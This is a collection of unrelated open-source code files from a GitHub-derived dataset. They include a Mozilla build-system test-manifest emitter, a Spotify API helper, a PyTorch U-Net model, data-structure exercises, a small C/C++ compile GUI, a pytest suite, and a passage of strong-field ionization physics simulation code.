False)\n\n for test in filtered:\n obj.tests.append(test)\n\n # Some test files are compiled and should not be copied into the\n # test package. They function as identifiers rather than files.\n if package_tests:\n manifest_relpath = mozpath.relpath(test['path'],\n mozpath.dirname(test['manifest']))\n obj.installs[mozpath.normpath(test['path'])] = \\\n ((mozpath.join(out_dir, manifest_relpath)), True)\n\n process_support_files(test)\n\n if not filtered:\n # If there are no tests, look for support-files under DEFAULT.\n process_support_files(defaults)\n\n # We also copy manifests into the output directory,\n # including manifests from [include:foo] directives.\n for mpath in m.manifests():\n mpath = mozpath.normpath(mpath)\n out_path = mozpath.join(out_dir, mozpath.basename(mpath))\n obj.installs[mpath] = (out_path, False)\n\n # Some manifests reference files that are auto generated as\n # part of the build or shouldn't be installed for some\n # reason. Here, we prune those files from the install set.\n # FUTURE we should be able to detect autogenerated files from\n # other build metadata. Once we do that, we can get rid of this.\n for f in defaults.get('generated-files', '').split():\n # We re-raise otherwise the stack trace isn't informative.\n try:\n del obj.installs[mozpath.join(manifest_dir, f)]\n except KeyError:\n raise SandboxValidationError('Error processing test '\n 'manifest %s: entry in generated-files not present '\n 'elsewhere in manifest: %s' % (path, f), context)\n\n obj.external_installs.add(mozpath.join(out_dir, f))\n\n yield obj\n except (AssertionError, Exception):\n raise SandboxValidationError('Error processing test '\n 'manifest file %s: %s' % (path,\n '\\n'.join(traceback.format_exception(*sys.exc_info()))),\n context)\n\n def _process_reftest_manifest(self, context, flavor, manifest_path):\n manifest_path = mozpath.normpath(manifest_path)\n manifest_full_path = mozpath.normpath(mozpath.join(\n context.srcdir, manifest_path))\n manifest_reldir = mozpath.dirname(mozpath.relpath(manifest_full_path,\n context.config.topsrcdir))\n\n manifest = reftest.ReftestManifest()\n manifest.load(manifest_full_path)\n\n # reftest manifests don't come from manifest parser. But they are\n # similar enough that we can use the same emitted objects. Note\n # that we don't perform any installs for reftests.\n obj = TestManifest(context, manifest_full_path, manifest,\n flavor=flavor, install_prefix='%s/' % flavor,\n relpath=mozpath.join(manifest_reldir,\n mozpath.basename(manifest_path)))\n\n for test, source_manifest in sorted(manifest.tests):\n obj.tests.append({\n 'path': test,\n 'here': mozpath.dirname(test),\n 'manifest': source_manifest,\n 'name': mozpath.basename(test),\n 'head': '',\n 'tail': '',\n 'support-files': '',\n 'subsuite': '',\n })\n\n yield obj\n\n def _load_web_platform_tests_manifest(self, context, manifest_path, tests_root):\n old_path = sys.path[:]\n try:\n # Setup sys.path to include all the dependencies required to import\n # the web-platform-tests manifest parser. web-platform-tests provides\n # a the localpaths.py to do the path manipulation, which we load,\n # providing the __file__ variable so it can resolve the relative\n # paths correctly.\n paths_file = os.path.join(context.config.topsrcdir, \"testing\",\n \"web-platform\", \"tests\", \"tools\", \"localpaths.py\")\n _globals = {\"__file__\": paths_file}\n execfile(paths_file, _globals)\n import manifest as wptmanifest\n finally:\n sys.path = old_path\n\n return wptmanifest.manifest.load(tests_root, manifest_path)\n\n def _process_web_platform_tests_manifest(self, context, paths):\n manifest_path, tests_root = paths\n\n manifest_path = mozpath.normpath(manifest_path)\n manifest_full_path = mozpath.normpath(mozpath.join(\n context.srcdir, manifest_path))\n manifest_reldir = mozpath.dirname(mozpath.relpath(manifest_full_path,\n context.config.topsrcdir))\n\n tests_root = mozpath.normpath(mozpath.join(context.srcdir, tests_root))\n\n manifest = self._load_web_platform_tests_manifest(context, manifest_full_path, tests_root)\n\n # Create a equivalent TestManifest object\n obj = TestManifest(context, manifest_full_path, manifest,\n flavor=\"web-platform-tests\",\n relpath=mozpath.join(manifest_reldir,\n mozpath.basename(manifest_path)),\n install_prefix=\"web-platform/\")\n\n\n for path, tests in manifest:\n path = mozpath.join(tests_root, path)\n for test in tests:\n if test.item_type not in [\"testharness\", \"reftest\"]:\n continue\n\n obj.tests.append({\n 'path': path,\n 'here': mozpath.dirname(path),\n 'manifest': manifest_path,\n 'name': test.id,\n 'head': '',\n 'tail': '',\n 'support-files': '',\n 'subsuite': '',\n })\n\n yield obj\n\n def _process_jar_manifests(self, context):\n jar_manifests = context.get('JAR_MANIFESTS', [])\n if len(jar_manifests) > 1:\n raise SandboxValidationError('While JAR_MANIFESTS is a list, '\n 'it is currently limited to one value.', context)\n\n for path in jar_manifests:\n yield JARManifest(context, mozpath.join(context.srcdir, path))\n\n # Temporary test to look for jar.mn files that creep in without using\n # the new declaration. Before, we didn't require jar.mn files to\n # declared anywhere (they were discovered). This will detect people\n # relying on the old behavior.\n if os.path.exists(os.path.join(context.srcdir, 'jar.mn')):\n if 'jar.mn' not in jar_manifests:\n raise SandboxValidationError('A jar.mn exists but it '\n 'is not referenced in the moz.build file. '\n 'Please define JAR_MANIFESTS.', context)\n\n def _emit_directory_traversal_from_context(self, context):\n o = DirectoryTraversal(context)\n o.dirs = context.get('DIRS', [])\n o.test_dirs = context.get('TEST_DIRS', [])\n o.affected_tiers = context.get_affected_tiers()\n\n # Some paths have a subconfigure, yet also have a moz.build. Those\n # shouldn't end up in self._external_paths.\n if o.objdir:\n self._external_paths -= { o.relobjdir }\n\n yield o\n","repo_name":"classilla/tenfourfox","sub_path":"python/mozbuild/mozbuild/frontend/emitter.py","file_name":"emitter.py","file_ext":"py","file_size_in_byte":55633,"program_lang":"python","lang":"en","doc_type":"code","stars":251,"dataset":"github-code","pt":"37"} +{"seq_id":"28025615338","text":"import enum\nimport json\nfrom json import JSONDecodeError\n\nimport requests as requests\n\nimport static_strings\nfrom tools.data_wrapper import ArtistData, TrackData\n\n\ndef send_track_info(json_str: str, callback: ()):\n\ttry:\n\t\tdata = json.loads(json_str)\n\texcept JSONDecodeError:\n\t\tprint(\"JSON was malformatted\")\n\t\tprint(json_str)\n\t\treturn\n\ttitle = data[\"name\"]\n\tartists: [ArtistData] = []\n\tfor artist in data[\"artists\"]:\n\t\tartists.append(ArtistData(artist[\"name\"], uri_to_id(artist[\"uri\"])))\n\timage_url = data[\"album\"][\"images\"][0][\"url\"]\n\tt = TrackData(title, artists)\n\tt.image_url = image_url\n\tt.get_image() # Download image now\n\tcallback(t)\n\n\ndef get_artist_info(artist_id: str):\n\ttoken = static_strings.get_token()\n\theaders = {'Authorization': f'Bearer {token}'}\n\tr = requests.get(url=static_strings.api_endpoint + \"/artists/\" + artist_id, headers=headers)\n\ttry:\n\t\tdata = r.json()\n\texcept JSONDecodeError:\n\t\tprint(\"JSON was malformatted when getting artist info\")\n\t\treturn None\n\t# print(data)\n\tif \"error\" in data:\n\t\tprint(\"There has been an error: \")\n\t\tprint(data[\"error\"])\n\t\treturn None\n\tname = data[\"name\"]\n\tfollowers = data[\"followers\"][\"total\"]\n\tgenres = data[\"genres\"]\n\timage_url = data[\"images\"][0][\"url\"]\n\tpopularity = data[\"popularity\"]\n\tartist = ArtistData(name, artist_id, genres)\n\tartist.followers = followers\n\tartist.image_url = image_url\n\tartist.popularity = popularity\n\treturn artist\n\n\nclass UriType(enum.Enum):\n\tartist = \"artist\"\n\ttrack = \"track\"\n\talbum = \"album\"\n\n\ndef id_to_uri(data_id: str, uri_type: UriType):\n\treturn f\"spotify:{uri_type.value}:{data_id}\"\n\n\ndef uri_to_id(uri: str):\n\treturn uri.split(\":\")[-1]\n","repo_name":"chefexperte/SpotifyGTK","sub_path":"tools/data_tools.py","file_name":"data_tools.py","file_ext":"py","file_size_in_byte":1630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"10653719079","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom torchvision import models\n\nmodels.resnet18()\n\n\nclass Block(nn.Module):\n\n def __init__(self, ch_in, ch_out):\n super().__init__()\n self.block = nn.Sequential(\n nn.Conv2d(ch_in, ch_in // 2, 1), # 降维\n nn.BatchNorm2d(ch_in // 2),\n nn.ReLU(inplace=True),\n\n nn.Conv2d(ch_in // 2, ch_in // 2, 3, stride=1, padding=1), # feature 提取\n nn.BatchNorm2d(ch_in // 2),\n nn.ReLU(inplace=True),\n\n nn.Conv2d(ch_in // 2, ch_out, 1), # 升维\n nn.BatchNorm2d(ch_out)\n )\n self.extra = nn.Sequential()\n if ch_in != ch_out:\n self.extra = nn.Conv2d(ch_in, ch_out, 3, stride=1, padding=1)\n\n def forward(self, x):\n x = F.relu(self.block(x) + self.extra(x), inplace=True)\n return x\n\n\nclass Down(nn.Module):\n def __init__(self, ch_in, ch_out):\n super().__init__()\n self.mpconv = nn.Sequential(\n nn.MaxPool2d(2),\n Block(ch_in, ch_out)\n )\n\n def forward(self, x):\n x = self.mpconv(x)\n\n return x\n\n\nclass Up(nn.Module):\n\n def __init__(self, ch_in, ch_out):\n super().__init__()\n self.up = nn.Upsample(scale_factor=2, mode='bilinear', align_corners=True)\n self.conv = Block(ch_in, ch_out)\n\n def forward(self, x1, x2):\n x1 = self.up(x1)\n diffY = x2.size()[2] - x1.size()[2]\n diffX = x2.size()[3] - x1.size()[3]\n\n x1 = F.pad(x1, [diffX // 2, diffX - diffX // 2,\n diffY // 2, diffY - diffY // 2])\n x = torch.cat([x2, x1], dim=1)\n x = self.conv(x)\n return x\n\n\nclass Outconv(nn.Module):\n\n def __init__(self, in_ch, out_ch):\n super(Outconv, self).__init__()\n self.conv = nn.Conv2d(in_ch, out_ch, 1)\n\n def forward(self, x):\n x = self.conv(x)\n return x\n\n\nclass ResNetUNet(nn.Module):\n\n def __init__(self, ch_in):\n super().__init__()\n\n # Use ResNet18 as the encoder with the pretrained weights\n # self.base_model = models.resnet18(pretrained=True)\n # self.base_layers = list(self.base_model.children())\n self.inconv = nn.Sequential(\n nn.Conv2d(ch_in, 32, 3, padding=1),\n nn.BatchNorm2d(32),\n nn.ReLU(inplace=True),\n nn.Conv2d(32, 32, 3, padding=1),\n nn.BatchNorm2d(32),\n nn.ReLU(inplace=True),\n )\n self.down1 = Down(32, 64)\n self.down2 = Down(64, 128)\n self.down3 = Down(128, 256)\n self.down4 = Down(256, 256)\n\n self.up4 = Up(256 + 256, 128)\n self.up3 = Up(128 + 128, 64)\n self.up2 = Up(64 + 64, 32)\n self.up1 = Up(32 + 32, 32)\n self.outc = Outconv(32, 1)\n self.reset_params()\n\n def forward(self, x):\n x1 = self.inconv(x)\n x2 = self.down1(x1)\n x3 = self.down2(x2)\n x4 = self.down3(x3)\n x5 = self.down4(x4)\n x = self.up4(x5, x4)\n x = self.up3(x, x3)\n x = self.up2(x, x2)\n x = self.up1(x, x1)\n x = self.outc(x)\n return F.sigmoid(x)\n\n @staticmethod\n def weight_init(m):\n if isinstance(m, nn.Conv2d):\n nn.init.xavier_normal(m.weight)\n nn.init.constant(m.bias, 0)\n\n def reset_params(self):\n for i, m in enumerate(self.modules()):\n self.weight_init(m)\n\n#\n# class SaveFeatures:\n#\n# features = None\n#\n# def __init__(self, m): self.hook = m.register_forward_hook(self.hook_fn)\n#\n# def hook_fn(self, module, input, output): self.features = output\n#\n# def remove(self): self.hook.remove()\n#\n#\n# class UnetBlock(nn.Module):\n# def __init__(self, up_in, down_in, n_out, dp=False, ps=0.25):\n# super().__init__()\n# up_out = down_out = n_out // 2\n# self.tr_conv = nn.ConvTranspose2d(up_in, up_out, 2, 2, bias=False)\n# self.conv = nn.Conv2d(down_in, down_out, 1, bias=False)\n# self.bn = nn.BatchNorm2d(n_out)\n# self.dp = dp\n# if dp: self.dropout = nn.Dropout(ps, inplace=True)\n#\n# def forward(self, up_x, down_x):\n# x1 = self.tr_conv(up_x)\n# x2 = self.conv(down_x)\n# x = torch.cat([x1, x2], dim=1)\n# x = self.bn(F.relu(x))\n# return self.dropout(x) if self.dp else x\n#\n#\n# class Unet34(nn.Module):\n#\n# def __init__(self, rn, drop_i=False, ps_i=None, drop_up=False, ps=None):\n#\n# super().__init__()\n# self.rn = rn\n# self.sfs = [SaveFeatures(rn[i]) for i in [2, 4, 5, 6]]\n# self.drop_i = drop_i\n# if drop_i:\n# self.dropout = nn.Dropout(ps_i, inplace=True)\n# if ps_i is None: ps_i = 0.1\n# if ps is not None: assert len(ps) == 4\n# if ps is None: ps = [0.1] * 4\n# self.up1 = UnetBlock(512, 256, 256, drop_up, ps[0])\n# self.up2 = UnetBlock(256, 128, 256, drop_up, ps[1])\n# self.up3 = UnetBlock(256, 64, 256, drop_up, ps[2])\n# self.up4 = UnetBlock(256, 64, 256, drop_up, ps[3])\n# self.up5 = nn.ConvTranspose2d(256, 1, 2, 2)\n#\n# def forward(self, x):\n# x = F.relu(self.rn(x))\n# x = self.dropout(x) if self.drop_i else x\n# x = self.up1(x, self.sfs[3].features)\n# x = self.up2(x, self.sfs[2].features)\n# x = self.up3(x, self.sfs[1].features)\n# x = self.up4(x, self.sfs[0].features)\n# x = self.up5(x)\n# return x[:, 0]\n#\n# def close(self):\n# for o in self.sfs: o.remove()\n","repo_name":"zhanglei1172/TaiDi","sub_path":"models/resUnet_little.py","file_name":"resUnet_little.py","file_ext":"py","file_size_in_byte":5566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35638734889","text":"# Question 1\n\"\"\"\npush(5) 5\npush(3) 5, 3\npop() 5 return 3\npush(2) 5, 2\npush(8) 5, 2, 8\npop() 5, 2 return 8\npop() 5 return 2\npush(9) 5, 9\npush(1) 5, 9, 1\npop() 5, 9 return 1\npush(7) 5, 9, 7\npush(6) 5, 9, 7, 6\npop() 5, 9, 7 return 6\npop() 5, 9 return 7\npush(4) 5, 9, 4\npop() 5, 9 return 4\npop() 5 return 9\n\"\"\"\n\n# Question 2\n\"\"\"\nWith 25 push operations executed and 10 pop, where 3 failed, that makes 25 - (10 - 3) = 18\n\"\"\"\n\n# Question 3\nfrom array_stack import ArrayStack\n\ndef transfer(S, T):\n while not S.is_empty():\n T.push(S.pop())\n\nS = ArrayStack()\nS.push(1)\nS.push(2)\nS.push(3)\nS.push(4)\nS.push(5)\nT = ArrayStack()\n\nprint(S._data, T._data)\ntransfer(S, T)\nprint(S._data, T._data)\n\n# Question 4\n\"\"\"\nenqueue(5) 5\nenqueue(3) 5, 3\ndequeue() 5 return 3\nenqueue(2) 5, 2\nenqueue(8) 5, 2, 8\ndequeue() 5, 2 return 8\ndequeue() 5 return 2\nenqueue(9) 5, 9\nenqueue(1) 5, 9, 1\ndequeue() 5, 9 return 1\nenqueue(7) 5, 9, 7\nenqueue(6) 5, 9, 7, 6\ndequeue() 5, 9, 7 return 6\ndequeue() 5, 9 return 7\nenqueue(4) 5, 9, 4\ndequeue() 5, 9 return 4\ndequeue() 5 return 9\n\"\"\"\n\n# Question 5\n\"\"\"\nWith 32 enqueue operations executed and 15 dequeue, where 5 failed, that makes 32 - (15 - 5) = 22\n\"\"\"\n\n# Question 6\nfrom array_queue import ArrayQueue\n\ndef transferQueue(D, Q):\n while not D.is_empty():\n Q.enqueue(D.dequeue())\n\nD = ArrayQueue()\nD.enqueue(1)\nD.enqueue(2)\nD.enqueue(3)\nD.enqueue(4)\nD.enqueue(5)\nD.enqueue(6)\nD.enqueue(7)\nD.enqueue(8)\nQ = ArrayQueue()\n\nprint(D._data, Q._data)\ntransferQueue(D, Q)\nprint(D._data, Q._data)\n\n# Question 7\ndef transferQueueToStack(D, S):\n while not D.is_empty():\n S.push(D.dequeue())\nD = ArrayQueue()\nD.enqueue(1)\nD.enqueue(2)\nD.enqueue(3)\nD.enqueue(4)\nD.enqueue(5)\nD.enqueue(6)\nD.enqueue(7)\nD.enqueue(8)\nS = ArrayStack()\n\nprint(D._data, S._data)\ntransferQueueToStack(D, S)\nprint(D._data, S._data)","repo_name":"FinOCE/CP2410","sub_path":"Week 5/prac_04.py","file_name":"prac_04.py","file_ext":"py","file_size_in_byte":1944,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"25701638098","text":"import tkinter as tk\nfrom tkinter import filedialog\nimport os\n\n\n\ndef compile(cmd, ext):\n file = filedialog.askopenfilename(title=\"Select a file\")\n if file.endswith(f\".{ext}\"):\n os.system(f'\"{cmd} \"{file}\" -o \"{file[:-4]}.exe\"')\n else:\n print(\"[+] Please select a cpp file\")\n\n os.system(f'\"{file[:-4]}.exe\" & PAUSE')\n\n# Create the main application window\napp = tk.Tk()\napp.title(\"Option Selection\")\n\n# Set the window size\napp.geometry(\"400x150\") # Width x Height\napp.configure(bg=\"azure3\")\n# Variable to store the user's selection\nselected_option = None\nselected_ext = None\n\n# Define a function to set the selected option to 'Option 1'\ndef select_option1():\n global selected_option, selected_ext\n selected_option = 'g++'\n selected_ext = \"cpp\"\n app.destroy() # Close the window\n\n# Define a function to set the selected option to 'Option 2'\ndef select_option2():\n global selected_option, selected_ext\n selected_option = 'gcc'\n selected_ext = \"c\"\n app.destroy() # Close the window\n\n# Create two buttons for option selection, displayed horizontally\nbutton1 = tk.Button(app, text=\"C++\", command=select_option1, width=15, height=5, bg=\"#E3CF57\", fg='black')\nbutton2 = tk.Button(app, text=\"C\", command=select_option2, width=15, height=5, bg=\"#E3CF57\", fg=\"black\")\n\n# Place the buttons in the window horizontally\nbutton1.pack(side=tk.LEFT, padx=20)\nbutton2.pack(side=tk.RIGHT, padx=20)\n\n# Start the Tkinter main loop\napp.mainloop()\n\n# Print the selected option after the window is closed\nif selected_option is not None and selected_ext is not None:\n compile(selected_option, selected_ext)\nelse:\n print(\"No option selected\")\n","repo_name":"ZeroDay0utplay/C_Cpp_Compiler","sub_path":"C_cpp_cmp.pyw","file_name":"C_cpp_cmp.pyw","file_ext":"pyw","file_size_in_byte":1674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"7774582398","text":"from aoc_python.utils import load_stripped_lines\n\n\ndef does_completely_overlap(line: str) -> bool:\n first_elf, second_elf = line.split(\",\")\n\n fe_start, fe_end = [int(x) for x in first_elf.split(\"-\")]\n se_start, se_end = [int(x) for x in second_elf.split(\"-\")]\n\n if fe_start <= se_start and fe_end >= se_start:\n return True\n\n if se_start <= fe_start and se_end >= fe_start:\n return True\n return False\n\n\nif __name__ == \"__main__\":\n lines = load_stripped_lines(\"inputs/04_1\")\n\n overlaps = [does_completely_overlap(line) for line in lines]\n # print(overlaps)\n print(sum(overlaps))\n","repo_name":"mullevik/advent-of-code","sub_path":"2022/python/aoc_python/day_04.py","file_name":"day_04.py","file_ext":"py","file_size_in_byte":621,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23647559478","text":"import pytest\nfrom unittest.mock import patch\nfrom ppt_nlp import backend\nimport openai\n\n@pytest.fixture\ndef mock_openai():\n with patch.object(openai, \"Completion\") as mock_completion:\n yield mock_completion\n\ndef test_summarization(mock_openai):\n # Mock the OpenAI API response\n mock_openai.create.return_value = {\n \"choices\": [{\"text\": \"This is the summarization.\"}]\n }\n\n # Call the function and check the output\n question = \"What is the meaning of life?\"\n expected_summarization = \"This is the summarization.\"\n assert backend.summarization(question) == expected_summarization\n\n # Check that the OpenAI API was called with the correct prompt\n mock_openai.create.assert_called_with(\n prompt=\"What is the meaning of life?'tl;dr:\",\n temperature=0,\n max_tokens=300,\n top_p=1,\n frequency_penalty=0,\n presence_penalty=0,\n model=\"text-davinci-002\",\n )\n\ndef test_summarization_error(mock_openai):\n # Mock an error from the OpenAI API\n mock_openai.create.side_effect = openai.ErrorObject(\"API connection error\")\n\n # Call the function and check that it returns None\n question = \"What is the meaning of life?\"\n assert backend.summarization(question) == None","repo_name":"thiago-acn/nlp_demo","sub_path":"tests/test_summarization.py","file_name":"test_summarization.py","file_ext":"py","file_size_in_byte":1258,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"38128246427","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib\nfrom numpy import cos, sin, tan, arctan, arccosh, pi, sqrt, exp, power, log, absolute\nfrom scipy.integrate import solve_ivp\nimport math\nimport gc\nfrom math import cos as cos_math\nfrom math import sin as sin_math\nfrom math import tan as tan_math\nfrom math import sqrt as sqrt_math\nfrom math import asinh, cosh, sinh, acosh, atan\nfrom scipy import integrate\n\n\nfrom mpi4py import MPI\ncomm = MPI.COMM_WORLD\nrank = comm.Get_rank()\n\ndef Derivtive(to):\n \n ex_prime = -1*omega*sin_math(omega*to)*(sin_math(to*pi/tau)**2) + (pi/tau)*cos_math(omega*to)*sin_math(2*to*pi/tau)\n ey_prime = omega*cos_math(omega*to)*(sin_math(to*pi/tau)**2) + (pi/tau)*sin_math(omega*to)*sin_math(2*to*pi/tau)\n \n return amplitude*ex_prime, amplitude*ell*ey_prime\n\ndef Exit_Point(t_tau, k_x_tau, k_y_tau, k_z_tau):\n e_field_x = amplitude*cos_math(omega*t_tau)*(sin_math(t_tau*pi/tau)**2)\n e_field_y = ell*amplitude*sin_math(omega*t_tau)*(sin_math(t_tau*pi/tau)**2)\n e_field_z = 0\n \n e_field_x_prime, e_field_y_prime = Derivtive(t_tau)\n e_field_z_prime = 0\n \n \n k_mag_squared = k_x_tau**2 + k_y_tau**2 + k_z_tau**2\n e_mag_squared = e_field_x**2 + e_field_y**2 + e_field_z**2 \n \n k_dot_e_field_prime = e_field_x_prime*k_x_tau + e_field_y_prime*k_y_tau + e_field_z_prime*k_z_tau\n \n exit_point_x = (-1*e_field_x/2)* ((k_mag_squared + 2*Ip)/(e_mag_squared - k_dot_e_field_prime))\n exit_point_y = (-1*e_field_y/2)* ((k_mag_squared + 2*Ip)/(e_mag_squared - k_dot_e_field_prime))\n exit_point_z = (-1*e_field_z/2)* ((k_mag_squared + 2*Ip)/(e_mag_squared - k_dot_e_field_prime))\n \n return exit_point_x, exit_point_y, exit_point_z\n\ndef Sin_2(time_array):\n return sin(time_array*pi/tau)**2\n\ndef Calculate_Tunneling_Time(t_ionization, v_perp_ip, v_perp_op):\n \n Field_Norm = sqrt(power(cos(omega*t_ionization),2) + ell*ell*power(sin(omega*t_ionization),2)) \n gamma_eff = omega*sqrt(2*Ip + power(v_perp_op,2))/(amplitude*Envelop_Fun(t_ionization))\n \n A_idx = np.less(absolute(Field_Norm**2 - abs(ell)) , 1e-12) \n \n tunneling_time_A = 0.5*(1 - Field_Norm[A_idx]*omega*v_perp_ip[A_idx]/(ell*amplitude*Envelop_Fun(t_ionization[A_idx]))) \\\n + 0.5*power(Field_Norm[A_idx]/ell, 2)*(1 + power(gamma_eff[A_idx]/Field_Norm[A_idx],2))/(1 - Field_Norm[A_idx]*omega*v_perp_ip[A_idx]/(ell*amplitude*Envelop_Fun(t_ionization[A_idx])))\n\n greater_than_one_idx = np.where(tunneling_time_A >= 1.0) ### cosh term not correct \n tunneling_time_A = arccosh(tunneling_time_A[greater_than_one_idx])/omega\n\n tunneling_time_return = tunneling_time_A\n t_ion_return = (t_ionization[A_idx])[greater_than_one_idx]\n v_perp_ip_return = (v_perp_ip[A_idx])[greater_than_one_idx]\n v_perp_op_return = (v_perp_op[A_idx])[greater_than_one_idx]\n \n del(greater_than_one_idx, A_idx, tunneling_time_A)\n gc.collect()\n \n B_idx = np.greater(absolute(Field_Norm**2 - abs(ell)) , 1e-12)\n B_idx_two = np.greater((Field_Norm[B_idx]*omega*v_perp_ip[B_idx]/(amplitude*Envelop_Fun(t_ionization[B_idx])) - ell)**2 \\\n + (Field_Norm[B_idx]**4 - ell**2)*(1 + power(gamma_eff[B_idx]/Field_Norm[B_idx], 2)), 0)\n \n\n tunneling_time_B = ell*((Field_Norm[B_idx])[B_idx_two]*omega*(v_perp_ip[B_idx])[B_idx_two]/(amplitude*Envelop_Fun((t_ionization[B_idx])[B_idx_two])) - ell)\n tunneling_time_B += ((Field_Norm[B_idx])[B_idx_two]**2)*sqrt(((Field_Norm[B_idx])[B_idx_two]*omega*(v_perp_ip[B_idx])[B_idx_two]/(amplitude*Envelop_Fun((t_ionization[B_idx])[B_idx_two])) - ell)**2\\\n + ((Field_Norm[B_idx])[B_idx_two]**4 - ell**2)*(1 + power((gamma_eff[B_idx])[B_idx_two]/(Field_Norm[B_idx])[B_idx_two], 2)))\n tunneling_time_B *= 1/((Field_Norm[B_idx])[B_idx_two]**4 - ell**2)\n \n \n greater_than_one_idx = np.where(tunneling_time_B >= 1.0) ### cosh term not correct\n tunneling_time_B = arccosh(tunneling_time_B[greater_than_one_idx])/omega\n \n tunneling_time_return = np.append(tunneling_time_return, tunneling_time_B)\n t_ion_return = np.append(t_ion_return, ((t_ionization[B_idx])[B_idx_two])[greater_than_one_idx])\n v_perp_ip_return = np.append(v_perp_ip_return, ((v_perp_ip[B_idx])[B_idx_two])[greater_than_one_idx])\n v_perp_op_return = np.append(v_perp_op_return, ((v_perp_op[B_idx])[B_idx_two])[greater_than_one_idx])\n\n\n del(t_ionization, v_perp_ip, v_perp_op, Field_Norm, gamma_eff)\n del(greater_than_one_idx, B_idx, B_idx_two, tunneling_time_B)\n gc.collect()\n \n \n return t_ion_return, v_perp_ip_return, v_perp_op_return, tunneling_time_return\n\ndef Cosh_Dependent_Terms(t_ion_return, v_perp_return, v_y_return, tunneling_time_return):\n \n Fz = Fo*Envelop_Fun(t_ion_return)*cos(omega*t_ion_return)\n a_array = sqrt(power(cos(omega*t_ion_return),2) + ell*ell*power(sin(omega*t_ion_return),2)) \n \n \n v_parall = (1 - ell**2)*Fo*Envelop_Fun(t_ion_return)*sin(omega*t_ion_return)*cos(omega*t_ion_return)*(np.cosh(omega*tunneling_time_return) - 1)/(a_array*omega)\n\n del(a_array)\n gc.collect()\n \n vz_array = v_parall/sqrt(1+power(ell*tan(omega*t_ion_return), 2))\n vz_array -= v_perp_return*ell*tan(omega*t_ion_return)/sqrt(1+power(ell*tan(omega*t_ion_return), 2))\n vz_array *= np.sign(Fz + 1e-16)\n \n vx_array = v_parall*ell*tan(omega*t_ion_return)/sqrt(1+power(ell*tan(omega*t_ion_return), 2))\n vx_array += v_perp_return/sqrt(1+power(ell*tan(omega*t_ion_return), 2))\n vx_array *= np.sign(Fz + 1e-16)\n \n del(Fz)\n gc.collect()\n \n Px_array = vx_array - ell*Fo*Envelop_Fun(t_ion_return)*cos(omega*t_ion_return)/omega\n # Py_array = v_y_return\n Pz_array = vz_array + Fo*Envelop_Fun(t_ion_return)*sin(omega*t_ion_return)/omega\n \n \n weight = -2*((Px_array**2 + v_y_return**2 + Pz_array**2)/2 + Ip + Up)*tunneling_time_return\n weight += 2*Pz_array*Fo*Envelop_Fun(t_ion_return)*sin(omega*t_ion_return)*np.sinh(omega*tunneling_time_return)/(omega**2)\n weight += -2*Px_array*ell*Fo*Envelop_Fun(t_ion_return)*cos(omega*t_ion_return)*np.sinh(omega*tunneling_time_return)/(omega**2)\n weight += (1 - (ell**2))*power(Fo*Envelop_Fun(t_ion_return),2)*cos(2*omega*t_ion_return)*np.sinh(2*omega*tunneling_time_return)/(4*(omega**3))\n \n del(Px_array, Pz_array)\n gc.collect()\n \n weight = exp(weight)\n weight = sqrt(weight)\n weight = weight/weight.max()\n \n Y_val = np.random.uniform(0, 1, len(weight))\n green_points_idx = np.less(Y_val, weight)\n\n # t_ion_return = t_ion_return[green_points_idx]\n # vx_array = vx_array[green_points_idx]\n # v_y_return = v_y_return[green_points_idx]\n # vz_array = vz_array[green_points_idx]\n # tunneling_time_return = tunneling_time_return[green_points_idx]\n # v_parall = v_parall[green_points_idx]\n # v_perp_return = v_perp_return[green_points_idx]\n \n del(Y_val,green_points_idx)\n gc.collect()\n \n \n zo_array = Fo*Envelop_Fun(t_ion_return)*cos(omega*t_ion_return)*(1-np.cosh(omega*tunneling_time_return))/(omega**2)\n xo_array = ell*Fo*Envelop_Fun(t_ion_return)*sin(omega*t_ion_return)*(1-np.cosh(omega*tunneling_time_return))/(omega**2)\n\n \n return t_ion_return, vx_array, v_y_return, vz_array, xo_array, zo_array, v_parall, v_perp_return, weight\n\ndef Asymptotic_Momentum(final_position, final_momentum):\n \n r = np.linalg.norm(final_position)\n p = np.linalg.norm(final_momentum)\n\n if r == 0 or (p**2)/2 - 1*Z/r < 0:\n return [None, None, None]\n \n k = sqrt(p**2 - (2*Z/r))\n\n L = np.cross(final_position, final_momentum)\n a_vec = np.cross(final_momentum, L) - (final_position/r)\n\n return_val = k*np.cross(L, a_vec) - a_vec\n return_val *= k/(1 + (k*np.linalg.norm(L))**2)\n\n return return_val\n\ndef Phase(time_from_traj, position_x, position_y, position_z, velocity_x, velocity_y, velocity_z):\n \n momentum_array = velocity_x**2 + velocity_y**2 + velocity_z**2\n r_array = np.sqrt(position_x**2 + position_y**2 +position_z**2)\n\n return_value = -1*(position_x[0]*velocity_x[0] + position_y[0]*velocity_y[0] + position_z[0]*velocity_z[0]) \n return_value += Ip*time_from_traj[0]\n return_value -= integrate.simps(momentum_array/2 - 2*Z/r_array, time_from_traj)\n\n r_final = np.array([position_x[-1], position_y[-1], position_z[-1]])\n p_final = np.array([velocity_x[-1], velocity_y[-1], velocity_z[-1]])\n \n energy = pow(np.linalg.norm(p_final), 2)/2 - Z/np.linalg.norm(r_final)\n L = np.linalg.norm(np.cross(r_final, p_final))\n\n b = 1/(2*energy)\n g = sqrt(1 + 2*energy*L*L)\n\n return_value -= Z*sqrt(b)*(log(g) +asinh(np.dot(r_final, p_final)/(g*sqrt(b))))\n return return_value\n\ndef Derivative_RK45(to, phase_space):\n \n electric_field_x = amplitude*cos_math(omega*to)*(sin_math(to*pi/tau)**2)\n electric_field_y = ell*amplitude*sin_math(omega*to)*(sin_math(to*pi/tau)**2)\n electric_field_z = 0\n \n x, y, z = phase_space[0], phase_space[1], phase_space[2]\n r2 = x*x + y*y + z*z\n \n vx_derivative, vy_derivative, vz_derivative = -1*electric_field_x - x*Z/pow(r2 + 0.001,3/2), -1*electric_field_y - y*Z/pow(r2 